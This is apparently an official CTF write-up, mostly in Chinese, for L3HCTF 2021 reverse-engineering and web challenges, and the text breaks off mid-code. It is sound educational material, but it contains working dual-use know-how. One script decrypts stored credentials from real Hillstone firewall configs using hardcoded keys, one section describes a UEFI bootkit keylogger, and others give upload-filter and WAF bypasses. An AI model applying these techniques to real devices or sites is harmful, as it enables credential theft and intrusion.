L3HCTF 2021 Official Write Up
**RE **
Double-Joy
不难发现核心函数在sub_1D90

img1.png

进去是个巨大的分发器,推测是个虚拟机,所有功能代码都被内联进去了,动静结合分析不难找出虚拟机的组成部分和opcode含义。
虚拟机字节码初始化位置在程序一开始,初始化了2个虚拟机

img2.png

有了opcode语义之后不难分析出这两个虚拟机的功能,一个是tea,一个是xtea,不过变换了一些常数。
主要是后面维护了一个queue

img3.png

虚拟机内部tea和xtea每跑完一轮会把结果提取出来,然后当前虚拟机暂停,调度另一个虚拟机跑,就效果而言是tea和xtea相互交叉跑。
解密脚本也不难写,不过有些细节要注意下。
Idaaaaaa
题目给了个idb不是elf,说明用到了ida的某些东西。
使用ida7.5以下版本的ida打开可能会提示idb中的断点格式太新,需要使用高版本ida打开。例如ida7.0

img4.png

打开之后一眼就能看到有一个断点的存在。

img5.png

至于程序本身的逻辑不必太在意,最后的校验3个未知数5个方程应该是无解的,直接运行程序是不会输出correct的,需要使用ida调试运行。
打开断点可以看到是个python的条件断点,可以把条件抠出来。
当执行流命中断点时,首先会初始化一个巨大的全局变量。

img6.png

之后会在另一个地方打上新的条件断点,使用push-ret的方式跳转到新的条件断点上触发

img7.png

新的条件断点会从输入的内存地址读取一个字节,根据这个字节决定下一个条件断点的内容。
条件断点的内容会从最开始初始化的全局变量jIS40A中提取,但是结果是加密的,密钥也是根据输入值决定的。

img8.png

之后会控制跳转到elf文件中的函数解密内容

img9.png


img10.png

解密内容作为下一个条件断点的内容。
之后就写个脚本把所有加密的断点内容解密出来,发现pattern不同的断点应该就是最终要到达的断点,然后把断点之间关系建个图就是一个最短路问题。
解出来算个md5就是flag
luuuuua
这个题是在ByteCTF之前出的,没想到撞了,希望师傅们体验不要太差qwq
安装发现是一个简单的登录界面。JEB打开发现引入了一个叫LuaJava的包。
跟踪按钮的onClick事件可以发现调用了一个lua函数check_login。

img11.png

这里加载的是一个图片,在加载的时候做了手脚。
从LdoFile的JNI跟进去可以发现在读取文件的时候fseek到了0x3afa1

img12.png

把对应位置的数据从jpg里面抠出来就是加载的lua脚本。
但是抠出来的数据很明显可以发现头部是不对的,在sub_10840中进行了一次异或。

img13.png

异或完成之后就能获取到lua脚本,是编译过的luac文件。尝试用unluac去反编译,结果抛出异常。如果用官方的lua去执行这个脚本的话会发现同样是无法执行的。
对照LuaJava的源码,从pcall的JNI跟下去,可以找到sub_2C3C0,对应的是lvm.c中的luaV_execute。经过对比发现这里的opcode的顺序被打乱了,新的顺序为:

C
OP_ADD ,
OP_SUB ,
OP_MUL ,
OP_MOD ,
OP_POW ,
OP_DIV ,
OP_IDIV ,
OP_BAND ,
OP_BOR ,
OP_BXOR ,
OP_SHL ,
OP_SHR ,
OP_UNM ,
OP_BNOT ,
OP_NOT ,
OP_LEN ,
OP_MOVE ,
OP_CONCAT ,
OP_JMP ,
OP_EQ ,
OP_LT ,
OP_LE ,
OP_TEST ,
OP_TESTSET ,
OP_CALL ,
OP_TAILCALL ,
OP_RETURN ,
OP_FORLOOP ,
OP_FORPREP ,
OP_TFORCALL ,
OP_TFORLOOP ,
OP_SETLIST ,
OP_CLOSURE ,
OP_VARARG ,
OP_EXTRAARG ,
OP_LOADK ,
OP_LOADKX ,
OP_LOADBOOL ,
OP_LOADNIL ,
OP_GETUPVAL ,
OP_GETTABUP ,
OP_GETTABLE ,
OP_SETTABUP ,
OP_SETUPVAL ,
OP_SETTABLE ,
OP_NEWTABLE ,
OP_SELF

下载unluac的源码,修改/src/unluac/decompile/OpcodeMap.java中opcode的映射,重新编译unluac即可反编译

img14.png

Lua
local base64 = {}
local extract = _G.bit32 and _G.bit32.extract
if not extract then
if _G.bit then
local shl, shr, band = _G.bit.lshift, _G.bit.rshift, _G.bit.band
function extract(v, from, width)
return band(shr(v, from), shl(1, width) - 1)
end
elseif _G._VERSION == "Lua 5.1" then
function extract(v, from, width)
local w = 0
local flag = 2 from
for i = 0, width - 1 do
local flag2 = flag + flag
if flag <= v % flag2 then
w = w + 2
i
end
flag = flag2
end
return w
end
else
extract = load([[
return function( v, from, width )
return ( v >> from ) & ((1 << width) - 1)
end]])()
end
end
function base64.makeencoder(s62, s63, spad)
local encoder = {}
for b64code, char in pairs({
[0] = "A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"O",
"P",
"Q",
"R",
"S",
"T",
"U",
"V",
"W",
"X",
"Y",
"Z",
"a",
"b",
"c",
"d",
"e",
"f",
"g",
"h",
"i",
"j",
"k",
"l",
"m",
"n",
"o",
"p",
"q",
"r",
"s",
"t",
"u",
"v",
"w",
"x",
"y",
"z",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
s62 or "+",
s63 or "/",
spad or "="
}) do
encoder[b64code] = char:byte()
end
return encoder
end
function base64.makedecoder(s62, s63, spad)
local decoder = {}
for b64code, charcode in pairs(base64.makeencoder(s62, s63, spad)) do
decoder[charcode] = b64code
end
return decoder
end
local DEFAULT_ENCODER = base64.makeencoder()
local DEFAULT_DECODER = base64.makedecoder()
local char, concat = string.char, table.concat
function base64.encode(str, encoder, usecaching)
encoder = encoder or DEFAULT_ENCODER
local t, k, n = {}, 1, #str
local lastn = n % 3
local cache = {}
for i = 1, n - lastn, 3 do
local a, b, c = str:byte(i, i + 2)
local v = a * 65536 + b * 256 + c
local s
if usecaching then
s = cache[v]
if not s then
s = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[extract(v, 6, 6)], encoder[extract(v, 0, 6)])
cache[v] = s
end
else
s = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[extract(v, 6, 6)], encoder[extract(v, 0, 6)])
end
t[k] = s
k = k + 1
end
if lastn == 2 then
local a, b = str:byte(n - 1, n)
local v = a * 65536 + b * 256
t[k] = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[extract(v, 6, 6)], encoder[64])
elseif lastn == 1 then
local v = str:byte(n) * 65536
t[k] = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[64], encoder[64])
end
return concat(t)
end
function base64.decode(b64, decoder, usecaching)
decoder = decoder or DEFAULT_DECODER
local pattern = "[^%w%+%/%=]"
if decoder then
local s62, s63
for charcode, b64code in pairs(decoder) do
if b64code == 62 then
s62 = charcode
elseif b64code == 63 then
s63 = charcode
end
end
pattern = ("[^%%w%%%s%%%s%%=]"):format(char(s62), char(s63))
end
b64 = b64:gsub(pattern, "")
local cache = usecaching and {}
local t, k = {}, 1
local n = #b64
local padding = b64:sub(-2) == "==" and 2 or b64:sub(-1) == "=" and 1 or 0
for i = 1, 0 < padding and n - 4 or n, 4 do
local a, b, c, d = b64:byte(i, i + 3)
local s
if usecaching then
local v0 = a * 16777216 + b * 65536 + c * 256 + d
s = cache[v0]
if not s then
local v = decoder[a] * 262144 + decoder[b] * 4096 + decoder[c] * 64 + decoder[d]
s = char(extract(v, 16, 8), extract(v, 8, 8), extract(v, 0, 8))
cache[v0] = s
end
else
local v = decoder[a] * 262144 + decoder[b] * 4096 + decoder[c] * 64 + decoder[d]
s = char(extract(v, 16, 8), extract(v, 8, 8), extract(v, 0, 8))
end
t[k] = s
k = k + 1
end
if padding == 1 then
local a, b, c = b64:byte(n - 3, n - 1)
local v = decoder[a] * 262144 + decoder[b] * 4096 + decoder[c] * 64
t[k] = char(extract(v, 16, 8), extract(v, 8, 8))
elseif padding == 2 then
local a, b = b64:byte(n - 3, n - 2)
local v = decoder[a] * 262144 + decoder[b] * 4096
t[k] = char(extract(v, 16, 8))
end
return concat(t)
end
local strf = string.format
local byte, char = string.byte, string.char
local spack, sunpack = string.pack, string.unpack
local app, concat = table.insert, table.concat
local stohex = function(s, ln, sep)
if #s == 0 then
return ""
end
if not ln then
return (s:gsub(".", function(c)
return strf("%02x", byte(c))
end))
end
sep = sep or ""
local t = {}
for i = 1, #s - 1 do
t[#t + 1] = strf("%02x%s", s:byte(i), i % ln == 0 and "\n" or sep)
end
t[#t + 1] = strf("%02x", s:byte(#s))
return concat(t)
end
local hextos = function(hs, unsafe)
local tonumber = tonumber
if not unsafe then
hs = string.gsub(hs, "%s+", "")
if string.find(hs, "[^0-9A-Za-z]") or #hs % 2 ~= 0 then
error("invalid hex string")
end
end
return hs:gsub("(%x%x)", function(c)
return char(tonumber(c, 16))
end)
end
local stx = stohex
local xts = hextos
local ROUNDS = 64
local keysetup = function(key)
assert(#key == 16)
local kt = {
0,
0,
0,
0
}
kt[1], kt[2], kt[3], kt[4] = sunpack(">I4I4I4I4", key)
local skt0 = {}
local skt1 = {}
local sum, delta = 0, 2654435769
for i = 1, ROUNDS do
skt0[i] = sum + kt[(sum & 3) + 1]
sum = sum + delta & 4294967295
skt1[i] = sum + kt[(sum >> 11 & 3) + 1]
end
return
end
local encrypt_u64 = function(st, bu)
local skt0, skt1 = st.skt0, st.skt1
local v0, v1 = bu >> 32, bu & 4294967295
local sum, delta = 0, 2654435769
for i = 1, ROUNDS do
v0 = v0 + ((v1 << 4 ~ v1 >> 5) + v1 ~ skt0[i]) & 4294967295
v1 = v1 + ((v0 << 4 ~ v0 >> 5) + v0 ~ skt1[i]) & 4294967295
end
bu = v0 << 32 | v1
return bu
end
local enc = function(key, iv, itxt)
assert(#key == 16, "bad key length")
assert(#iv == 8, "bad IV length")
if #itxt == 0 then
return ""
end
local ivu = sunpack("<I8", iv)
local ot = {}
local rbn = #itxt
local ksu, ibu, ob
local st = keysetup(key)
for i = 1, #itxt, 8 do
ksu = encrypt_u64(st, ivu ~ i)
if rbn < 8 then
local buffer = string.sub(itxt, i) .. string.rep("\000", 8 - rbn)
ibu = sunpack("<I8", buffer)
ob = string.sub(spack("<I8", ibu ~ ksu), 1, rbn)
else
ibu = sunpack("<I8", itxt, i)
ob = spack("<I8", ibu ~ ksu)
rbn = rbn - 8
end
app(ot, ob)
end
return concat(ot)
end
function check_login(username, password)
local encoded = base64.encode(username)
if encoded ~= "TDNIX1NlYw==" then
return false
end
username = username .. "!@#$%^&*("
local x = base64.encode(enc(username, "1qazxsw2", password))
if x == "LKq2dSc30DKJo99bsFgTkQM9dor1gLl2rejdnkw2MBpOud+38vFkCCF13qY=" then
return true
end
return false
end

然后根据加密算法解密即可得到

Plain Text
L3HCTF{20807a82-fcd7-4947-841e-db4dfe95be3e}

load
题目设计:实现了一个在x86环境下的PE loader,即主进程新启动了一个suspend进程之后将解密数据写入另外一个进程空间中进行flag校验。校验算法则是一个22和一个33的矩阵求逆。
step1:提取主进程对本身代码段校验的4个CRC值
step2:crc每个byte xor解密新PE image
step2:新进程读取了共享内存里面的flag数据进行矩阵求逆校验,因此先提取dst数据求逆拼出hex即可获得flag。

C
#include <stdio.h>
#include <stdlib.h>
#define N 10
int getA(char arcs[N][N], int n)
{
if (n == 1)
{
return arcs[0][0];
}
int ans = 0;
char temp[N][N];
int i, j, k;
for (i = 0; i < n; i++)
{
for (j = 0; j < n - 1; j++)
{
for (k = 0; k < n - 1; k++)
{
temp[j][k] = arcs[j + 1][(k >= i) ? k + 1 : k];
}
}
int t = getA(temp, n - 1);
if (i % 2 == 0)
{
ans += arcs[0][i] * t;
}
else
{
ans -= arcs[0][i] * t;
}
}
return ans;
}
void getAStart(char arcs[N][N], int n, char ans[N][N])
{
if (n == 1)
{
ans[0][0] = 1;
return;
}
int i, j, k, t;
char temp[N][N];
for (i = 0; i < n; i++)
{
for (j = 0; j < n; j++)
{
for (k = 0; k < n - 1; k++)
{
for (t = 0; t < n - 1; t++)
{
temp[k][t] = arcs[k >= i ? k + 1 : k][t >= j ? t + 1 : t];
}
}
ans[i][j] = getA(temp, n - 1);
if ((i + j) % 2 == 1)
{
ans[i][j] = -ans[i][j];
}
}
}
}
int reverse(char* t, int n)
{
char arcs[N][N];
char astar[N][N];
int i, j;
for (i = 0; i < n; i++)
{
for (j = 0; j < n; j++)
{
arcs[i][j] = t[n * i + j];
}
}
int a = getA(arcs, n);
getAStart(arcs, n, astar);
for (i = 0; i < n; i++)
{
for (j = 0; j < n; j++)
{
t[i * n + j] = astar[j][i] / a;
}
}
return 0;
}
int main()
{
char m1[9] = { 1,0,-9,0,-1,-6,-1,-2,-4 };
char m2[4] = { 0x07,0x03,0x1e,0x0d };
reverse(m1, 3);
reverse(m2, 2);
for (int i = 0; i < 9; i++)
printf("%02X ", m1[i]);
for (int i = 0; i < 4; i++)
printf("%02X ", m2[i]);
}

BootFlag2
建议先阅读[Misc]BootFlag的WriteUp
在视频中发现了一些奇怪的东西,比如刚进bios设置菜单,操作光标移动了半天啥也没干,然后才去设置的密码。以及设置密码后听声音还在敲键盘,输入了一些东西,同时题目描述也提示Do you know the characters entered after the password is set?
UEFITool翻一翻,看一看,或者随便哪个hex编辑器看一看,注意到BIOS中多了个Dxe模块 L3HSecDxe

img15.png

抠出来上ida,逆向

img16.png

至此,总结一下发现的几个不熟悉的名词

  • UEFI
  • Dxe
  • BootService
  • Protocol
  • SystemTable
  • GUID

google一下UEFI这些概念,学习一下。同时应该会递归学习一些东西

  • EDK2

看到先调用了HandleProtocol,查一下edk2里面函数定义,发现第二个Guid unk_3020是

img17.png

好像没啥用
继续往下看从BootService指针加了个偏移,于是去edk2源码翻到这个结构体

C++
///
/// EFI Boot Services Table.
///
typedef struct {
_ ///
/// The table header for the EFI Boot Services Table.
///
EFI_TABLE_HEADER Hdr;
//
// Task Priority Services_
_ //
EFI_RAISE_TPL RaiseTPL;
EFI_RESTORE_TPL RestoreTPL;
//
// Memory Services_
_ //
EFI_ALLOCATE_PAGES AllocatePages;
EFI_FREE_PAGES FreePages;
EFI_GET_MEMORY_MAP GetMemoryMap;
EFI_ALLOCATE_POOL AllocatePool;
EFI_FREE_POOL FreePool;
//
// Event & Timer Services_
_ //
EFI_CREATE_EVENT CreateEvent;
EFI_SET_TIMER SetTimer;
EFI_WAIT_FOR_EVENT WaitForEvent;
EFI_SIGNAL_EVENT SignalEvent;
EFI_CLOSE_EVENT CloseEvent;
EFI_CHECK_EVENT CheckEvent;
//
// Protocol Handler Services_
_ //
EFI_INSTALL_PROTOCOL_INTERFACE InstallProtocolInterface;
EFI_REINSTALL_PROTOCOL_INTERFACE ReinstallProtocolInterface;
EFI_UNINSTALL_PROTOCOL_INTERFACE UninstallProtocolInterface;
EFI_HANDLE_PROTOCOL HandleProtocol;
VOID *Reserved;
EFI_REGISTER_PROTOCOL_NOTIFY RegisterProtocolNotify;
EFI_LOCATE_HANDLE LocateHandle;
EFI_LOCATE_DEVICE_PATH LocateDevicePath;
EFI_INSTALL_CONFIGURATION_TABLE InstallConfigurationTable;
//
// Image Services_
_ //
EFI_IMAGE_LOAD LoadImage;
EFI_IMAGE_START StartImage;
EFI_EXIT Exit;
EFI_IMAGE_UNLOAD UnloadImage;
EFI_EXIT_BOOT_SERVICES ExitBootServices;
//
// Miscellaneous Services_
_ //
EFI_GET_NEXT_MONOTONIC_COUNT GetNextMonotonicCount;
EFI_STALL Stall;
EFI_SET_WATCHDOG_TIMER SetWatchdogTimer;
//
// DriverSupport Services_
_ //
EFI_CONNECT_CONTROLLER ConnectController;
EFI_DISCONNECT_CONTROLLER DisconnectController;
//
// Open and Close Protocol Services_
_ //
EFI_OPEN_PROTOCOL OpenProtocol;
EFI_CLOSE_PROTOCOL CloseProtocol;
EFI_OPEN_PROTOCOL_INFORMATION OpenProtocolInformation;
//
// Library Services_
_ //
EFI_PROTOCOLS_PER_HANDLE ProtocolsPerHandle;
EFI_LOCATE_HANDLE_BUFFER LocateHandleBuffer;
EFI_LOCATE_PROTOCOL LocateProtocol;
EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES InstallMultipleProtocolInterfaces;
EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES UninstallMultipleProtocolInterfaces;
//
// 32-bit CRC Services_
_ //
EFI_CALCULATE_CRC32 CalculateCrc32;
//
// Miscellaneous Services_
_ //_
EFI_COPY_MEM CopyMem;
EFI_SET_MEM SetMem;
EFI_CREATE_EVENT_EX CreateEventEx;
} EFI_BOOT_SERVICES;

算一下就是了,知道是LocateHandleBuffer,查一下定义是根据Guid拿到已经加载的Protocol Handle
主要关心传入函数的guid,可以根据EDK2查得,例如传入的unk_3010是

img18.png

以此类推,后面的函数指针都能对应到函数名,然后去edk2查定义就好,发现程序调用了
SimpleTextInExProtocol->RegisterKeyNotify(SimpleTextInExProtocol, EFI_KEY_DATA &Key, callback函数sub_666, &KeyNotifyHandle);

img19.png

这显然是个键盘输入回调
然后看键盘输入回调sub_666
同理,edk2查查这个回调的定义

img20.png

顺着sub_666把那堆结构体都照着edk2标注一下
进入sub_666,首先看到一个循环判断,输入的ScanCode必须序列符合qword_1FA0才可以,,edk2中EFI_KEY_DATA有很明确的定义,ScanCode和UnicodeChar,发现需要验证的序列是上上下下左右左右baba,观察视频,确实有这样的操作

img21.png

然后进入第二个地方,读了16字节,异或0x55,放进数组,进入下一阶段。观察视频,正好是输密码的地方,每个密码重复两次,密码是四位,所以16字节密钥是BootFlag第一个题的每个密码重复两次,即7D127D127k627k62 存到了byte_3080里面
此处可能会疑问为什么输密码时候的换行以及上下左右没有算密码,看一下偏移就知道,这地方拿的是UnicodeChar,73行的if判断给上下左右和0都给扬了

img22.png

下一阶段看到一个AES,传入的密钥是上面读的16字节,这个阶段把每16字节输入都做AES加密然后写入EFI变量Boot0rder中(第五个字节是字符0)
AES被inline了,看的可能费劲一点
于是用UEFITool在BIOS中找到Boot0rder变量,把数据抠出来,解密

img23.png

Python
from Crypto.Cipher import AES
c = AES.new(bytes([x^0x55 for x in b"7D127D127k627k62"]), AES.MODE_ECB)
print(c.decrypt(bytes.fromhex("62c73dd1112314f52ca1738fc1b7fb2a")))
print(c.decrypt(bytes.fromhex("e7942ddbac5ccff50428d920cf47ddb9")))
print(c.decrypt(bytes.fromhex("892cc23cd4f0faa29973b3598b02469a")))

img24.png

另外那个L3HSecDxe是可以跑的,UEFI给各个阶段(PEI/DXE)的模块都给解耦了,用edk2编译就能在全世界UEFI固件上面跑
可以编译一个Ovmf固件,用qemu起来,进EFI Shell,输入load L3HSecDxe.efi就能跑,那个L3HSecDxe.efi就是上文抠出来的PE格式的文件。load之后输入上上下下左右左右baba然后随便输点东西,之后dmpstore -all Boot0rder就能看见加密的东西了
或者随便找个电脑,找个fat32格式的硬盘,把那个L3HSecDxe的pe文件丢进去。电脑开机,进EFI Shell,输入load L3HSecDxe.efi也能一样跑
本题灵感在于之前折腾过服务器C612平台的鸡血补丁
https://github.com/freecableguy/v3x4
发现自己写的UEFI代码能塞进去干很多事,于是写了个UEFI Bootkit玩玩,改了一点就是本题的键盘记录器,记录键盘然后偷偷藏在efi变量里面
efi变量可以linux开机后在/sys/firmware/efi下面读到
hills
这题灵感来自真实渗透场景,打进去发现一个hillstone的弱密码防火墙,admin:admin登进去了
登进去发现配了个ldap认证服务,但是密码加密了
众所周知交换机/路由器/防火墙会保存一些凭据,而有一些凭据是不能被哈希之后保存的。
例如cisco password type
Cisco Learning Network
这个type 7就能直接解,打到很多cisco的设备都能看见这玩意

img25.png

于是想到hillstone的这玩意是不是也是对称加密
但是没有固件,一个正常的防火墙哪有这种下载自己固件的功能
但是配置文件能看到这个东西型号叫SG-6000,版本是Version 5.5R2
随便google或者baidu搜一下,找到接近这个版本的固件,下载,拿下来解包,暴力grep login-password这个配置参数,能找到一个libauth.so处理这个东西的加密 libauth_epasswd_convert_2_plaintext
发现就是

  • 一遍异或
  • 一遍AES
  • 一遍异或

而且密钥全都是硬编码的
写个脚本直接解

Python
key = [0xf3,0x09,0x62,0x49,0xa4,0xdf,0xa4,0x9f,0x33,0xdc,0x7b,0xad,0x67,0x20,0xda,0xb6]
iv = [0x30,0x04,0xb0,0xdc,0x7d,0xdf,0x32,0x4b,0xf7,0xcb,0x45,0x9b,0x31,0xbb,0x21,0x5a]
pat = 0x1D73F8EB26C78797
encryptedBase64 = "sOxxmnurlg68LoTgoBnO/lFTfJbuev+92GwwRPybFTZkPJhp"
import base64
encryptedBase64Len = len(encryptedBase64)
encryptedBinary = base64.b64decode(bytes(encryptedBase64,'utf-8'))
if len(encryptedBinary) == 21:
encryptedBinary = encryptedBinary[:-1]
import binascii
def getBytes(arr1,bits):
s1 = ""
for i in arr1:
s1 = s1 + str(hex(i))[2:].rjust(bits,'0')
return binascii.unhexlify(s1)
def getHex(bytes1):
return hex(int(bytes1.hex(),16))
keyBytes = getBytes(key,2)
print('[+] key:',keyBytes)
ivBytes = getBytes(iv,2)
print('[+] iv:',ivBytes)
print('[+] encrypted:',encryptedBinary)
print('[+] encrypted len:',len(encryptedBinary))
from Crypto.Cipher import AES
#print(getHex(ivBytes[0:3]))
randVal = int(getHex(encryptedBinary[-4:]),16)
aesEncryptedBeforeXor = encryptedBinary[:-4]
aesEncryptedBeforeXorLen = len(aesEncryptedBeforeXor)
Xor1Buf = []
for i in range(0,aesEncryptedBeforeXorLen,8):
bytes1 = getHex(aesEncryptedBeforeXor[i:i+8])
bytes2 = int(bytes1,16) ^ pat
Xor1Buf.append(bytes2)
print('[+] xor 1:',getBytes(Xor1Buf,16))
newIvList = []
for i in range(0,16,4):
newIv = int(getHex(ivBytes[i:i+4]),16) ^ randVal
newIvList.append(newIv)
print('[+] transform IV:',getBytes(newIvList,8))
newIvBytes = getBytes(newIvList,8)
decryptor = AES.new(keyBytes,AES.MODE_CBC,newIvBytes)
decrypted = decryptor.decrypt(getBytes(Xor1Buf,16))
print('[+] AES decrypt:',decrypted)
Xor2Buf = []
for i in range(0,aesEncryptedBeforeXorLen,8):
bytes1 = getHex(decrypted[i:i+8])
bytes2 = int(bytes1,16) ^ pat
Xor2Buf.append(bytes2)
print()
print('[+] xor 2:',getBytes(Xor2Buf,16))

发现密码就是flag的前一半
于是想到去打那个ldap服务器,根据配置文件的信息和刚才解出来的密码登上去发现啥也没有

img26.png

把base-dn改小一点,连上去发现还有个ou=users
里面有个uid=naivekun
这个节点的description有个base64串,解出来就是flag后半段
另外ldap配置不当其实也是可以直接读到naivekun用户的信息(from Nepnep)

img27.png

CoreGhost
是个BIOS固件,保留了一些设备信息ADI RCC_VE,是拿这个编译的
https://github.com/ADIEngineering/adi_coreboot_public/tree/master/releases/ADI_RCCVE-01.00.00.17
出题背景是在闲鱼捡垃圾捡了个这玩意,CPU是Atom C2358,睿频被关了,CPU频率低只有1.7G
开机发现是个coreboot,没设置菜单没法改,只有一个启动设备选择,于是发现这玩意BIOS的源码,就编译了一下刷了进去。
出题也是改了这玩意的DSDT表

img28.png

回到正题
给了一个加密后的flag文件,一个encryptor程序,一个驱动,一个BIOS固件
驱动提供了几个操作
PRTK 输出密钥
SINS 输入一个东西来变换密钥
ENCB DECB都是对一个字节变换
翻一下coreboot的代码,发现打包用的是一个cbfstool打包成cbfs格式
解出来,搜刚才看到那个PRTK,SINS可以定位到一个地方,往前翻一翻发现是个DSDT表,抠出来拿iasl反编译得到dsdt表的代码
不知道DSDT是啥可以google一下,学习一下ACPI那套东西

Fortran
Device (CRPT)
{
Name (_ADR, 0)
Name (EVP0, 0xDEAD)
Name (EVP1, 0xBEAF)
Name (EVP2, 0xCAFE)
Name (EVP3, 0xBABE)
Name (KEYR, Buffer(16) {1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0})
CreateDWordField(KEYR, 0, KEY1)
CreateDWordField(KEYR, 4, KEY2)
CreateDWordField(KEYR, 8, KEY3)
CreateDWordField(KEYR, 12, KEY4)
CreateQWordField(KEYR, 4, KEY5)
CreateQWordField(KEYR, 8, KEY6)
Method (TST0, 0)
{
return (0xEA)
}
Method (SINS, 1)
{
local0 = sizeof(arg0)
local2 = 0
while (local2 < local0)
{
local4 = Derefof(arg0[local2])
local1 = 0
while (local4 < 0x1145141919810)
{
local1++
local4 = (local4EVP0+EVP1local1)*EVP2-EVP3
}
KEY1 = local4
KEY2 += KEY1
KEY2
= local4
KEY3 += KEY2
KEY3 = local4
KEY4 += KEY3
KEY4
= local4
EVP0 = KEY1&0xffff
EVP1 = KEY2&0xffff
EVP2 = KEY3&0xffff
EVP3 = KEY4&0xffff
KEY5 = KEY6
KEY6
= KEY5
local2++
}
}
Method (ENCB, 1)
{
If (Arg0 > 0xff)
{
Return (0xff)
}
Else
{
If (Arg0 & 0x80)
{
Return ((~(Arg0<<1)&0xe0)|((Arg0&0x0f)))
}
Else
{
Return((Arg0<<1&0xe0)|0x10|(Arg0&0x0f))
}
}
}
Method (DECB, 1)
{
If (Arg0 > 0xff)
{
Return (0x00)
}
Else
{
If (Arg0 & 0x10)
{
Return ((Arg0>>1&0x70)|(Arg0&0x0f))
}
Else
{
Return ((~(Arg0>>1)&0x70)|0x80|(Arg0&0x0f))
}
}
}
Method (PRTK, 0)
{
Return (KEYR)
}
}

这玩意压根不用逆,看一下程序逻辑,把三个SINS输入进去,PRTK拿出来当密钥来异或flag
异或完了出来的东西拿ENCB方法加密了
倒着写就解出来了,题目还贴心地提供了DECB方法(
不熟悉ASL语法可以简单学一下,懒得学也可以用acpiexec工具直接模拟得到PRTK的结果
彩蛋1
在这加一个enable_turbo()把睿频打开

img29.png

彩蛋2
在这改p state entry超频,实测超个3.2是稳的,geekbench跑分提升大约16%
谁说intel只有带K的才能超

img30.png


img31.png

WEB
EasyPHP
出题心路历程:

  1. 听说缺道简单web
  2. 打开VS Code开造
  3. 发现VS Code更新了,看看更新日志
  4. 咦 怎么修了个CVE

然后就有了这道题
打开网页,确认是个PHP,Header里面说了是7.4

img32.png

我们知道show_source会将网页代码加上代码高亮,这里注释的RGB说明注释并不是看起来的注释。
通过复制粘贴源码也好,选择里面的关键字也好,能看到里面有控制字符

img33.png

粘到更新后的VS Code里面很明显
拼到url里面提交就行了
这里面还有一些控制字符的好玩用法 https://trojansource.codes/
Image Service



被非预期打穿了
出题心路历程:
写golang web时候接触到了gin框架,觉得有点屎山,翻了翻源码发现了两个华点

  • 参数绑定的行为不一致

gin框架提供了参数绑定功能,将请求中的query、form、JSON body等参数绑定到struct或者map中,但是其实现有所不同

img34.png

当参数有多个时,绑定到map[string]string,会取最后一个

img35.png

当绑定到struct里面的string时,会取第一个

  • URL解析与编码

python, javascript等语言都存在str/bytes(String/Buffer)两种表示字符串的方法,前一种表示编码后的字符串,后一种表示字符串存储的字节数据。常见的web框架在处理query string时都会将其解码为string类型,如果转换成bytes用于哈希等,都需要指定编码格式而且默认使用UTF-8。
因此,如果在query string中传入任意二进制编码,要么框架就会报解码错误,要么在转换成字节时编码为UTF-8(比如%80->'\x80'>b'\xc2\x80'),经过一轮转换后输出的字节流和输入的百分号表示不一样。
但是,在golang中str和[]byte均表示的是编码后的字节数据,而gin框架在处理时直接将其百分号表示转换为了字符串,没有进行编码相关操作。
于是打算拿这两个点来出题。
至于题目背景,有一次看到了imgix这个图片服务,应用程序上传图片后可以通过参数进行加工,并且可以通过token进行签名,但是签名的算法并没有使用HMAC,而是直接将token和参数进行拼接后md5,这样可能会受到哈希长度扩展攻击,但是看了一下发现是拿百分号编码后的结果进行处理的,所以没法塞特殊字符。
所以本题的预期思路是通过参数绑定行为的不一致,传递两个username,第一个是admin被查询逻辑处理,第二个是其他的被WAF处理,从而拿到flag1。之后通过哈希长度扩展,在text字段中塞入特殊字符进行攻击。
为了降低逆向难度,在几个关键部分都加了调试输出,但是如果有了利用思路的话,是可以通过逆向分析出来关键部分的。
第二部分比较容易,找到签名函数后,可以看到sha256的write函数,通过断点动态调试可以看到塞到hash里面的数据。
第一部分,判断输入interface参数类型的方法可以参考https://www.anquanke.com/post/id/215820
另外二进制使用go 1.17编译,使用了寄存器传参,ida可以用__usercall自定义一下函数输入参数所在的寄存器方便分析,参数类型和个数可以参考库源码。
然后是喜闻乐见的非预期环节

  • mysql默认collation大小写不敏感的,所以可以大写绕过WAF
  • 忘加binding validator了,其他地方也可以插东西
  • 还有在key里面插东西的,这两种办法不用哈希长度扩展

Bypass
题目有三道过滤
1. 绕过后缀

Plain Text
public static String checkExt(String ext) {
ext = ext.toLowerCase();
String[] blackExtList = {
"jsp", "jspx"
};
for (String blackExt : blackExtList) {
if (ext.contains(blackExt)) {
ext = ext.replace(blackExt, "");
}
}
return ext;
}

后缀jsp/jspx会被替换为空,用双写绕过:jsjspp
2. 绕过可见字符检测
第二阶段题目中直接用getString获取FileItem的内容,然后传入了checkValidChars函数检测。checkValidChars函数主要功能是检测content中是否存在连着两个以上的字母数字,如果匹配成功则提示上传失败。

TypeScript
String content = item.getString();
boolean check = checkValidChars(content);
...
public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}

但实际上,FileItem.getString()对于编码的解析跟Tomcat解析jsp是有差异的,默认为ISO-8859-1

TypeScript
public String getString() {
byte[] rawdata = this.get();
String charset = this.getCharSet();
if (charset == null) {
charset = "ISO-8859-1";
}
try {
return new String(rawdata, charset);
} catch (UnsupportedEncodingException var4) {
return new String(rawdata);
}
}

Tomcat对于jsp编码的解析主要在org.apache.jasper.compiler.EncodingDetector这个类,其中有很多默认用ISO-8859-1无法直接解析的编码。

TypeScript
private EncodingDetector.BomResult parseBom(byte[] b4, int count) {
if (count < 2) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b0 = b4[0] & 255;
int b1 = b4[1] & 255;
if (b0 == 254 && b1 == 255) {
return new EncodingDetector.BomResult("UTF-16BE", 2);
} else if (b0 == 255 && b1 == 254) {
return new EncodingDetector.BomResult("UTF-16LE", 2);
} else if (count < 3) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b2 = b4[2] & 255;
if (b0 == 239 && b1 == 187 && b2 == 191) {
